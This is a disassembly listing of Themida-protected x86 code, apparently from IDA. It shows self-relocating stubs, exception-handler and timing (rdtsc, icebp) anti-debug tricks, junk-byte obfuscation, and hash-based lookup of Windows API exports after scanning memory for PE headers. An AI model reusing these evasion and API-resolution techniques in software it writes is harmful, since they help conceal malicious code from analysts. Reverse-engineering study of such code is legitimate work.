		dd 94170000h, 0B1h, 5 dup(0)
		dd 997F0000h, 3A4300B7h, 4E49575Ch, 53574F44h, 7379735Ch
		dd 336D6574h, 44415C32h, 49504156h, 642E3233h, 6C6Ch, 39h dup(0)
		dd 285C0000h, 0FFFFh, 8	dup(0)
		dd 20000h, 6 dup(0)
		dd 40C10000h, 0EB947DD0h, 0EFAE7C90h, 1620005Dh, 2 dup(0)
		dd 6BF50000h, 0F66Ch, 0
		dd 0E240000h, 575200B1h, 0B64005Bh, 5Ch, 0E8080000h, 0A698h
		dd 0
		dd 9A830000h, 4E73h, 7 dup(0)
		dd 0FA030000h, 0B1h, 0AED70000h, 5C66h,	30DF0000h, 0A9C5h
		dd 2 dup(0)
		dd 370B0000h, 993h, 0
		dd 9C80000h, 0FFFFh, 7 dup(0)
		dd 72C80000h, 8	dup(0)
		dd 8F680294h, 0FFFFh, 13h dup(0)
		dd 6BCC0000h, 5Dh, 0
		dd 146C0000h, 836Fh, 13h dup(0)
		dd 39D0000h, 8D8D21BBh,	5328h, 0
		dd 6E0F0000h, 25Ch, 0B5FE0000h,	0B1h, 0FB130000h, 7C90h
		dd 2 dup(0)
		dd 300F0000h, 5Dh, 2 dup(0)
		dd 56D0000h, 7C91h, 30h	dup(0)
		dd 0B32F0000h, 74337Bh,	0ED20000h, 5Ch,	6 dup(0)
		dd 0E4DD0000h, 0B775h, 9E8B0000h, 0B638005Bh, 9937h, 9 dup(0)
		dd 10000h, 180F0000h, 0B1h, 0DB800000h,	36360060h, 3636h
		dd 0BD8A0000h, 0DF7Ah, 10h dup(0)
		dd 0A2400000h, 0FFFFh, 0FF7D0000h, 7E1h, 832C0000h, 0BB19h
		dd 0Ch dup(0)
		dd 4CE80000h, 5Fh, 28080000h, 0EB9400B1h, 54177C90h, 0BAh
		dd 0A37B0000h, 8D20FFA0h, 0B1h,	3 dup(0)
		dd 0EE370000h, 0C47E77DDh, 15EDh, 0
		dd 328B0000h, 3EEEh, 5 dup(0)
		dd 89D10000h, 5EDBh, 0ED9A0000h, 5Bh, 0BD210000h, 0C29042FFh
		dd 4B7Ch, 0
		dd 10000h, 2 dup(0)
		dd 93860000h, 1290022Ch, 76F2h,	5 dup(0)
		dd 0D7F00000h, 0EB94005Ch, 7C7C90h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58698A:				; CODE XREF: Themida_:loc_583441j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7FA3553h
		mov	[ebp+7FA2DB1h],	edx
		mov	[ebp+7FA32C5h],	esi
		mov	[ebp+7FA1DD5h],	eax
		cmp	dword ptr [ebp+7FA0671h], 0
		jz	short loc_5869C2
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_5869C2:				; CODE XREF: Themida_:005869B4j
		mov	eax, [esp+24h]
		mov	[ebp+7FA2B45h],	eax
		push	45h
		call	sub_586A76
		push	783749Ah
		call	sub_586ABC
		push	0A894B25h
		call	sub_586ABC
		jmp	loc_586C00
; ---------------------------------------------------------------------------
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
		dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
		dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
		dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_586A76	proc near		; CODE XREF: Themida_:005869CEp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 7FA3641h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_586A92:				; CODE XREF: sub_586A76+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_586AB1
		mov	eax, [ebp+arg_0]
		mov	[ebx+7FA35ABh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_586A92
; ---------------------------------------------------------------------------


loc_586AB1:				; CODE XREF: sub_586A76+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_586A76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_586ABC	proc near		; CODE XREF: Themida_:005869D8p
					; Themida_:005869E2p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 7FA368Ah
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_586AE2:				; CODE XREF: sub_586ABC+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_586AE2
		mov	[ebp+var_84], 0
		lea	edi, [edx+7FA35ABh]
		lea	esi, [ebp+var_80]


loc_586B12:				; CODE XREF: sub_586ABC+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_586B1E:				; CODE XREF: sub_586ABC+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_586B1E
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_586B12
		popa
		leave
		retn	4
sub_586ABC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_586B5C
; ---------------------------------------------------------------------------


loc_586B58:				; CODE XREF: Themida_:00586B5Fj
		inc	dword ptr [ebp-4]
		inc	esi


loc_586B5C:				; CODE XREF: Themida_:00586B56j
		cmp	byte ptr [esi],	0
		jnz	short loc_586B58
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_586BED
; ---------------------------------------------------------------------------


loc_586B6E:				; CODE XREF: Themida_:00586BF0j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_586BE4
; ---------------------------------------------------------------------------


loc_586B77:				; CODE XREF: Themida_:00586BE8j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_586BD1
; ---------------------------------------------------------------------------


loc_586B87:				; CODE XREF: Themida_:00586BD5j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_586BA9
		cmp	bl, 39h
		ja	short loc_586BA9
		sub	bl, 30h
		jmp	short loc_586BCB
; ---------------------------------------------------------------------------


loc_586BA9:				; CODE XREF: Themida_:00586B9Dj
					; Themida_:00586BA2j
		cmp	bl, 61h
		jb	short loc_586BBB
		cmp	bl, 66h
		ja	short loc_586BBB
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_586BCB
; ---------------------------------------------------------------------------


loc_586BBB:				; CODE XREF: Themida_:00586BACj
					; Themida_:00586BB1j
		cmp	bl, 41h
		jb	short loc_586BCB
		cmp	bl, 46h
		ja	short loc_586BCB
		sub	bl, 41h
		add	bl, 0Ah


loc_586BCB:				; CODE XREF: Themida_:00586BA7j
					; Themida_:00586BB9j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_586BD1:				; CODE XREF: Themida_:00586B85j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_586B87
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_586BE1
		mov	eax, [ebp-10h]
		stosb


loc_586BE1:				; CODE XREF: Themida_:00586BDBj
		inc	dword ptr [ebp-8]


loc_586BE4:				; CODE XREF: Themida_:00586B75j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_586B77
		add	edx, 4


loc_586BED:				; CODE XREF: Themida_:00586B6Cj
		cmp	edx, [ebp-4]
		jb	loc_586B6E
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_586C00:				; CODE XREF: Themida_:005869E7j
		mov	ecx, 7000h
		lea	edi, [ebp+7FA37D0h]


loc_586C0B:				; CODE XREF: Themida_:00586C0Fj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_586C0B
		mov	eax, 48692121h
		mov	edx, 0F0115000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+7FA38C3h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		movzx	ebx, ax
		mov	bl, 0CEh
		push	ecx
		sbb	ebx, 4024711Bh
		pop	ebx
		adc	ebx, 2C8DD295h
		sub	eax, edx
		push	0
		push	ebp
		call	sub_586C5C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586C5C	proc near		; CODE XREF: Themida_:00586C54p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_586C5C	endp

; ---------------------------------------------------------------------------
		dd 256DED50h, 0FFFFF000h, 8BDABF0Fh, 66FF33CAh,	5A4D3881h
		dd 0B70F0E75h, 0D0033C50h, 45503A81h, 8740000h,	10002Dh
		dd 0E3EB4700h, 58F64h, 83000000h, 958D04C4h, 7FA38D6h
		dd 35FF6452h, 0
; ---------------------------------------------------------------------------
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_586CD2
		mov	esi, [eax+1Ch]


loc_586CD2:				; CODE XREF: Themida_:00586CCDj
		xor	eax, eax


loc_586CD4:				; CODE XREF: Themida_:00586CE7j
		cmp	eax, 32h
		jz	short loc_586CF8
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_586CE9


loc_586CE0:				; CODE XREF: Themida_:00586CF6j
		sub	esi, 10000h
		inc	eax
		jmp	short loc_586CD4
; ---------------------------------------------------------------------------


loc_586CE9:				; CODE XREF: Themida_:00586CDEj
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_586D3A
		jmp	short loc_586CE0
; ---------------------------------------------------------------------------


loc_586CF8:				; CODE XREF: Themida_:00586CD7j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7FA38E1h
		lea	eax, [ebp+7FA389Fh]
		mov	[ecx+0B8h], eax
		pop	ebp
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_586D3A:				; CODE XREF: Themida_:00586CF4j
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		jnp	loc_586D4E
		movsx	ebx, si


loc_586D4E:				; CODE XREF: Themida_:00586D45j
		mov	ebx, eax
		mov	cx, ds
		push	0
		push	eax
		call	sub_586D5E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586D5E	proc near		; CODE XREF: Themida_:00586D56p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_586D5E	endp

; ---------------------------------------------------------------------------
		push	edx
		xchg	bl, al
		sub	eax, 3A9F5D9Bh
		or	bx, 59DEh
		jle	loc_586D98
		jmp	loc_586D98
; ---------------------------------------------------------------------------
		icebp
		xor	byte ptr [edi-7Ah], 6Bh
		mov	[eax+21h], ecx
		db	26h
		retf
; ---------------------------------------------------------------------------
		dd 2C900B02h, 0C3F21EE5h
; ---------------------------------------------------------------------------


loc_586D98:				; CODE XREF: Themida_:00586D7Bj
					; Themida_:00586D81j
		add	bx, 0D4D0h
		and	cl, 4
		pusha
		jg	loc_586DA8
		cmc


loc_586DA8:				; CODE XREF: Themida_:00586DA1j
		jnb	loc_586DB1
		movzx	ecx, cx


loc_586DB1:				; CODE XREF: Themida_:loc_586DA8j
		popa
		or	cl, cl
		jnz	loc_586E09
		mov	bx, 134Fh
		mov	dword ptr [ebp+7FA33EDh], 1
		mov	bh, cl
		or	ebx, 0CC77BD7h
		jmp	loc_586E18
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_586DE0
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586DE0	proc near		; CODE XREF: Themida_:00586DD8p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_586DE0	endp

; ---------------------------------------------------------------------------
		dd 0DE8730A9h, 93B83829h, 810F13DBh, 9,	38F0Fh,	8B660000h
		db 0D9h
; ---------------------------------------------------------------------------


loc_586E09:				; CODE XREF: Themida_:00586DB4j
		mov	dword ptr [ebp+7FA33EDh], 0
		pusha
		sub	bh, 38h
		popa


loc_586E18:				; CODE XREF: Themida_:00586DD0j
		mov	[ebp+7FA08A5h],	eax
		push	0
		push	esi
		call	sub_586E29
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586E29	proc near		; CODE XREF: Themida_:00586E21p
					; sub_586E51+3Bj

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_586E29	endp

; ---------------------------------------------------------------------------
		ja	short near ptr loc_586E67+1
		add	bh, 5Ah
		mov	bh, ch
		mov	[ebp+7FA2095h],	eax
		call	sub_586E51
		dec	edi
		aas
		push	ebx
		wait
		dec	ebx
		nop

; =============== S U B	R O U T	I N E =======================================



sub_586E51	proc near		; CODE XREF: Themida_:00586E46p

var_20		= dword	ptr -20h
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		pop	edx
		jmp	loc_586E5E
; ---------------------------------------------------------------------------
		db 3
		dd 9639EEEDh
		db 6Fh,	8Fh
; ---------------------------------------------------------------------------


loc_586E5E:				; CODE XREF: sub_586E51+1j
		add	edx, 6AB4h
		mov	cx, bx


loc_586E67:				; CODE XREF: Themida_:00586E39j
		mov	ebx, 1A81h
		xor	di, 0CB35h


loc_586E71:				; CODE XREF: sub_586E51+8Bj
		push	dword ptr [edx]
		stc
		pop	eax
		jmp	loc_586E8E
; ---------------------------------------------------------------------------
		dw 0A6B4h
		dd 5B28F816h, 3A2FEAE1h, 6043E021h, 0F2CC6942h
; ---------------------------------------------------------------------------
		jns	short sub_586E29


loc_586E8E:				; CODE XREF: sub_586E51+24j
		add	eax, 6C5B33C3h
		mov	ecx, 5871C0D3h
		xor	eax, 3CDC9E3Ch
		jmp	loc_586EB7
; ---------------------------------------------------------------------------
		jmp	short loc_586EAD
; ---------------------------------------------------------------------------
		dw 9665h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 6Fh,	52h, 0C8h
		db 13h
; ---------------------------------------------------------------------------


loc_586EAD:				; CODE XREF: sub_586E51+53j
		aad	45h
		das
		out	dx, eax
; ---------------------------------------------------------------------------
		db 0FFh, 79h, 0EEh
		db 0CDh, 5Fh, 75h
; ---------------------------------------------------------------------------


loc_586EB7:				; CODE XREF: sub_586E51+4Ej
		add	eax, 5FEFA9C4h
		jmp	loc_586ED3
; ---------------------------------------------------------------------------
		dw 262Bh
		dd 0ABEF1BADh, 768860C9h, 6D8D1F3Dh
		db 17h,	5Eh, 2Bh
; ---------------------------------------------------------------------------


loc_586ED3:				; CODE XREF: sub_586E51+6Cj
		push	eax
		pop	dword ptr [edx]
		sub	edx, 4
		push	edx
		pop	edi
		dec	ebx
		jnz	loc_586E71
		pusha
		jmp	loc_586EFC
; ---------------------------------------------------------------------------
		dd 0D107B5Dh, 3CDD0F97h, 904D70DEh, 7D4D371Eh, 2DA7C15Dh
; ---------------------------------------------------------------------------


loc_586EFC:				; CODE XREF: sub_586E51+92j
		mov	eax, ebx
		popa
		jmp	short loc_586F05
; ---------------------------------------------------------------------------
		db 1Bh,	2, 0
		db 0
; ---------------------------------------------------------------------------


loc_586F05:				; CODE XREF: sub_586E51+AEj
		jmp	loc_58757C
; ---------------------------------------------------------------------------
		jmp	loc_586F23
; ---------------------------------------------------------------------------
		db 0E2h
		dd 0DC5B9550h, 358FE8A2h, 9F02D71Bh, 45FD5349h
		db 0C7h, 62h, 89h
; ---------------------------------------------------------------------------


loc_586F23:				; CODE XREF: sub_586E51+B9j
		pusha
		mov	[ebp+7FA0549h],	esi
		sub	eax, eax
		jmp	loc_586F3D
; ---------------------------------------------------------------------------
		db 22h,	2, 3Ch
		dd 85D46F95h, 2109C451h
		db 15h
; ---------------------------------------------------------------------------


loc_586F3D:				; CODE XREF: sub_586E51+DBj
		mov	edx, [esp+1Ch+arg_8]
		mov	[ebp+7FA0F69h],	ecx
		mov	[ebp+7FA154Dh],	eax
		mov	[ebp+7FA0E1Dh],	eax
		mov	esi, 3Ch
		sub	[ebp+7FA241Dh],	ebx
		add	esi, [esp+1Ch+arg_4]
		sub	[ebp+7FA33B5h],	ecx
		mov	[ebp+7FA1739h],	esi
		lodsw
		jmp	loc_586F7A
; ---------------------------------------------------------------------------
		db 20h,	7Eh, 0EAh
		db 36h,	87h
; ---------------------------------------------------------------------------


loc_586F7A:				; CODE XREF: sub_586E51+11Fj
		add	eax, [esp+1Ch+arg_4]
		jg	loc_586F8E
		pusha
		jp	$+6
		pusha
		popa
		popa


loc_586F8E:				; CODE XREF: sub_586E51+12Dj
		push	eax
		jl	loc_586FA6
		jmp	loc_586FA6
; ---------------------------------------------------------------------------
		dw 0BF16h
		dd 12BED2Eh, 876F5EB3h
; ---------------------------------------------------------------------------
		cmpsd
		retn
; ---------------------------------------------------------------------------


loc_586FA6:				; CODE XREF: sub_586E51+13Ej
					; sub_586E51+144j
		mov	[esp+20h+var_20], eax
		jmp	loc_586FB8
; ---------------------------------------------------------------------------
		dw 7076h
		dd 0EA24AA15h, 0F190454h
; ---------------------------------------------------------------------------


loc_586FB8:				; CODE XREF: sub_586E51+158j
		mov	eax, [eax+78h]
		sub	[ebp+7FA33C1h],	ecx
		jl	loc_586FCF
		jb	loc_586FCF
		pusha
		popa


loc_586FCF:				; CODE XREF: sub_586E51+170j
					; sub_586E51+176j
		add	eax, [esp+20h+arg_4]
		jmp	loc_586FDD
; ---------------------------------------------------------------------------
		dd 0AE31BB95h
		db 3Eh
; ---------------------------------------------------------------------------


loc_586FDD:				; CODE XREF: sub_586E51+182j
		mov	eax, [eax+18h]
		stc
		inc	eax
		or	[ebp+7FA2A2Dh],	edi
		pusha
		push	edi
		mov	eax, 6E7B1EABh
		pop	ebx
		movzx	eax, dx
		popa
		mov	[ebp+7FA3AC0h],	eax
		jmp	loc_58700B
; ---------------------------------------------------------------------------
		db 67h
		dd 0AA48EC4Bh, 933E2379h
; ---------------------------------------------------------------------------
		add	[ebx+76h], ecx


loc_58700B:				; CODE XREF: sub_586E51+1A9j
		pop	eax
		pusha
		mov	si, cx
		mov	bx, 4820h
		popa
		cmc
		mov	esi, [eax+78h]
		pusha
		mov	[ebp+7FA2491h],	edx
		push	edx
		mov	di, 0D191h
		pop	ecx
		popa
		add	esi, 1Ch
		sub	[ebp+7FA1E3Dh],	esi
		add	esi, [esp+1Ch+arg_4]
		pusha
		jge	loc_58703D
		push	edx
		pop	ecx


loc_58703D:				; CODE XREF: sub_586E51+1E4j
		mov	bx, 0B37h
		popa
		jmp	loc_58704F
; ---------------------------------------------------------------------------
		db 6Fh
		dd 630709A2h
		db 85h,	36h, 0C8h
; ---------------------------------------------------------------------------


loc_58704F:				; CODE XREF: sub_586E51+1F1j
		lea	edi, [ebp+7FA0F71h]
		jns	loc_587061
		sub	[ebp+7FA2631h],	ecx


loc_587061:				; CODE XREF: sub_586E51+204j
		lodsd
		stc
		add	eax, [esp+1Ch+arg_4]
		mov	[ebp+7FA33F9h],	ebx
		stosd
		jmp	loc_587080
; ---------------------------------------------------------------------------
		db 8Eh
; ---------------------------------------------------------------------------
		mov	ebx, 7524CBB0h
		mov	eax, [edx+32h]
		mov	[ecx+0Ah], eax
		xchg	eax, ebp


loc_587080:				; CODE XREF: sub_586E51+21Dj
		lea	edi, [ebp+7FA275Dh]
		sub	[ebp+7FA338Dh],	ebx
		lodsd
		jmp	loc_587099
; ---------------------------------------------------------------------------
		dw 0CD66h
		dd 0CB314EE7h
; ---------------------------------------------------------------------------
		pop	ss


loc_587099:				; CODE XREF: sub_586E51+23Cj
		add	eax, [esp+18h+arg_8]
		mov	[ebp+7FA2BC1h],	ecx
		push	eax
		jge	loc_5870C6
		push	eax
		push	edx
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		rdtsc
		jmp	loc_5870C4
; ---------------------------------------------------------------------------
		db 5Dh,	8Ch, 9Fh
		dd 937E7B53h, 412C6C41h
; ---------------------------------------------------------------------------


loc_5870C4:				; CODE XREF: sub_586E51+263j
		pop	edx
		pop	eax


loc_5870C6:				; CODE XREF: sub_586E51+253j
		mov	[esp+0], eax
		cmc
		stosd
		pusha
		or	[ebp+7FA0559h],	ebx
		jg	loc_5870DC
		mov	di, 0DBCBh


loc_5870DC:				; CODE XREF: sub_586E51+281j
		popa
		lea	edi, [ebp+7FA27D5h]
		sub	[ebp+7FA168Dh],	ecx
		lodsd
		jmp	loc_5870FD
; ---------------------------------------------------------------------------
		db 7Bh
		dd 277EA77Ch, 0B5FD8353h, 0F494A953h
; ---------------------------------------------------------------------------
		pop	esp


loc_5870FD:				; CODE XREF: sub_586E51+299j
		add	eax, [esp+28h]
		pusha
		clc
		jmp	loc_587111
; ---------------------------------------------------------------------------
		dd 0EFF3B9B2h, 64F17773h
		db 3
; ---------------------------------------------------------------------------


loc_587111:				; CODE XREF: sub_586E51+2B2j
		popa
		pusha
		movsx	ebx, cx
		push	edi
		mov	ebx, esi
		pop	esi
		popa
		stosd
		jnb	loc_587128
		mov	[ebp+7FA0B7Dh],	eax


loc_587128:				; CODE XREF: sub_586E51+2CBj
		pop	esi
		sub	[ebp+7FA1C31h],	ecx


loc_58712F:				; CODE XREF: sub_586E51+36Aj
		dec	dword ptr [ebp+7FA3AC0h]
		cmp	dword ptr [ebp+7FA3AC0h], 0
		jnz	short loc_58714E
		mov	[esp+14h+arg_4], 0
		lea	esi, [ebp+7FA3F1Eh]
		jmp	esi
; ---------------------------------------------------------------------------


loc_58714E:				; CODE XREF: sub_586E51+2EBj
		push	esi
		lodsd
		add	eax, [esp+28h]
		xchg	eax, edi
		mov	ebx, edi
		mov	al, [ebp+7FA0665h]
		test	al, al
		jz	short loc_587165
		cmp	al, [edi]
		jnz	short loc_5871B1


loc_587165:				; CODE XREF: sub_586E51+30Ej
		push	edi
		xor	al, al


loc_587168:				; CODE XREF: sub_586E51+318j
		scasb
		jnz	short loc_587168
		pop	esi
		sub	edi, ebx
		push	edx
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx


loc_587175:				; CODE XREF: sub_586E51+34Dj
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_587184:				; CODE XREF: sub_586E51+346j
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_587195
		xor	ax, 5041h
		xor	bx, 5449h


loc_587195:				; CODE XREF: sub_586E51+339j
		dec	dh
		jnz	short loc_587184
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_587175
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edx
		cmp	edx, eax
		jz	short loc_5871C0


loc_5871B1:				; CODE XREF: sub_586E51+312j
		pop	esi
		add	esi, 4
		inc	dword ptr [ebp+7FA154Dh]
		jmp	loc_58712F
; ---------------------------------------------------------------------------


loc_5871C0:				; CODE XREF: sub_586E51+35Ej
		pop	esi
		mov	[ebp+7FA21A5h],	edx
		mov	[ebp+7FA0C91h],	ecx
		jle	loc_5871D4
		clc


loc_5871D4:				; CODE XREF: sub_586E51+37Cj
		mov	eax, [ebp+7FA154Dh]
		xor	[ebp+7FA338Dh],	ecx
		jmp	loc_5871ED
; ---------------------------------------------------------------------------
		mov	ecx, 82EED422h
		fidivr	word ptr [esi+18h]


loc_5871ED:				; CODE XREF: sub_586E51+38Fj
		shl	eax, 1
		clc
		add	eax, [ebp+7FA27D5h]
		cld
		sub	esi, esi
		jmp	loc_58720D
; ---------------------------------------------------------------------------
		dw 0B970h
		dd 222CF7A1h, 33D549C9h, 9938C01Ch
		db 15h
; ---------------------------------------------------------------------------


loc_58720D:				; CODE XREF: sub_586E51+3A8j
		xchg	eax, esi
		cmc
		lodsw
		jmp	loc_587223
; ---------------------------------------------------------------------------
		dw 6CD5h
		dd 825A1560h, 0B67AF512h
; ---------------------------------------------------------------------------
		add	bl, es:[eax]


loc_587223:				; CODE XREF: sub_586E51+3C0j
		shl	eax, 2
		jge	loc_587232
		mov	[ebp+7FA2305h],	edi


loc_587232:				; CODE XREF: sub_586E51+3D5j
		add	eax, [ebp+7FA0F71h]
		jnz	loc_58724B
		jmp	loc_58724B
; ---------------------------------------------------------------------------


loc_587243:				; CODE XREF: sub_586E51:loc_587243j
		jno	short loc_587243
		lahf
		xchg	eax, ebp
		adc	al, 0D2h
		popa


loc_58724B:				; CODE XREF: sub_586E51+3E7j
					; sub_586E51+3EDj
		sub	[ebp+7FA1895h],	eax
		xchg	eax, esi
		cld
		lodsd
		cmc
		mov	ecx, [esp+24h]
		clc
		add	eax, [esp+24h]
		jo	loc_58726A
		pusha
		sbb	dh, 77h
		stc
		popa


loc_58726A:				; CODE XREF: sub_586E51+40Dj
		mov	[esp+1Ch], eax
		mov	[ebp+7FA1095h],	ecx
		xchg	eax, esi
		sub	[ebp+7FA0F01h],	esi
		lodsb
		mov	[ebp+7FA1F4Dh],	edi
		xor	cl, cl
		mov	[ebp+7FA0D15h],	edx
		inc	cl
		pusha
		mov	esi, [ebp+7FA2EB9h]
		popa
		jp	loc_5872A8


loc_58729A:				; CODE XREF: sub_586E51+4C5j
		pusha
		jnp	$+6
		mov	edi, [ebp+7FA1EB9h]
		popa


loc_5872A8:				; CODE XREF: sub_586E51+443j
					; sub_586E51+4A7j
		rcl	al, 1
		jnb	loc_58735F
		mov	[ebp+7FA0AE5h],	ebx
		rcl	al, 1
		jnb	loc_58735F
		jz	loc_5872CA
		mov	[ebp+7FA3105h],	ecx


loc_5872CA:				; CODE XREF: sub_586E51+46Dj
		cld
		rcl	al, 1
		jb	loc_58735F
		add	[ebp+7FA0B71h],	ecx
		rcl	al, 1
		jb	loc_58735F
		jmp	loc_5872F6
; ---------------------------------------------------------------------------
		dw 4242h
		dd 0DFAD6283h, 93FE1D63h, 4B303DC1h
		db 57h,	24h
; ---------------------------------------------------------------------------


loc_5872F6:				; CODE XREF: sub_586E51+490j
		dec	cl
		jns	loc_5872A8
		sub	[ebp+7FA2F39h],	ecx
		add	esp, 20h
		jmp	loc_587319
; ---------------------------------------------------------------------------
		xchg	esp, [esi+28h]
		test	eax, 24101CA3h
		fsubr	st, st(3)
		jns	short loc_58729A
		scasd


loc_587319:				; CODE XREF: sub_586E51+4B6j
		mov	dword ptr [esp-4], 0
		jmp	loc_587333
; ---------------------------------------------------------------------------
		dw 9843h
		dd 77E9CDA8h, 11740817h
		db 3Ch,	32h, 0B3h
; ---------------------------------------------------------------------------


loc_587333:				; CODE XREF: sub_586E51+4D0j
		mov	eax, 1
		mov	[ebp+7FA25D1h],	ebx
		lea	ecx, [ebp+7FA72FBh]
		pusha
		jmp	loc_587355
; ---------------------------------------------------------------------------
		dw 0EE11h
		dd 0E1219D75h, 1FB95670h
		db 69h
; ---------------------------------------------------------------------------


loc_587355:				; CODE XREF: sub_586E51+4F4j
		stc
		popa
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	[ebp+7FA1DBDh],	edx


loc_58735F:				; CODE XREF: sub_586E51+459j
					; sub_586E51+467j ...
		mov	byte ptr [ebp+7FA0665h], 0
		cmc
		cmc
		popa
		cmc
		retn	8
; ---------------------------------------------------------------------------
		db 9, 8Dh, 0A9h
		dd 9607FA0Eh, 0A830Fh, 0B2600000h, 0F525073h, 61585A31h
		dd 10890F50h, 0E9000000h, 0Bh, 0AF032449h, 0E0A3CDEAh
		dd 960358B5h, 158D89h, 0B58907FAh, 7FA4105h, 0C8C0Fh, 890F0000h
		dd 6, 8859D89h,	11E907FAh, 0F2000000h, 163E5C69h, 0DBEF8B80h
		dd 0B3B3E47Fh, 9B002FD0h, 41208D89h, 9D8907FAh,	7FA266Dh
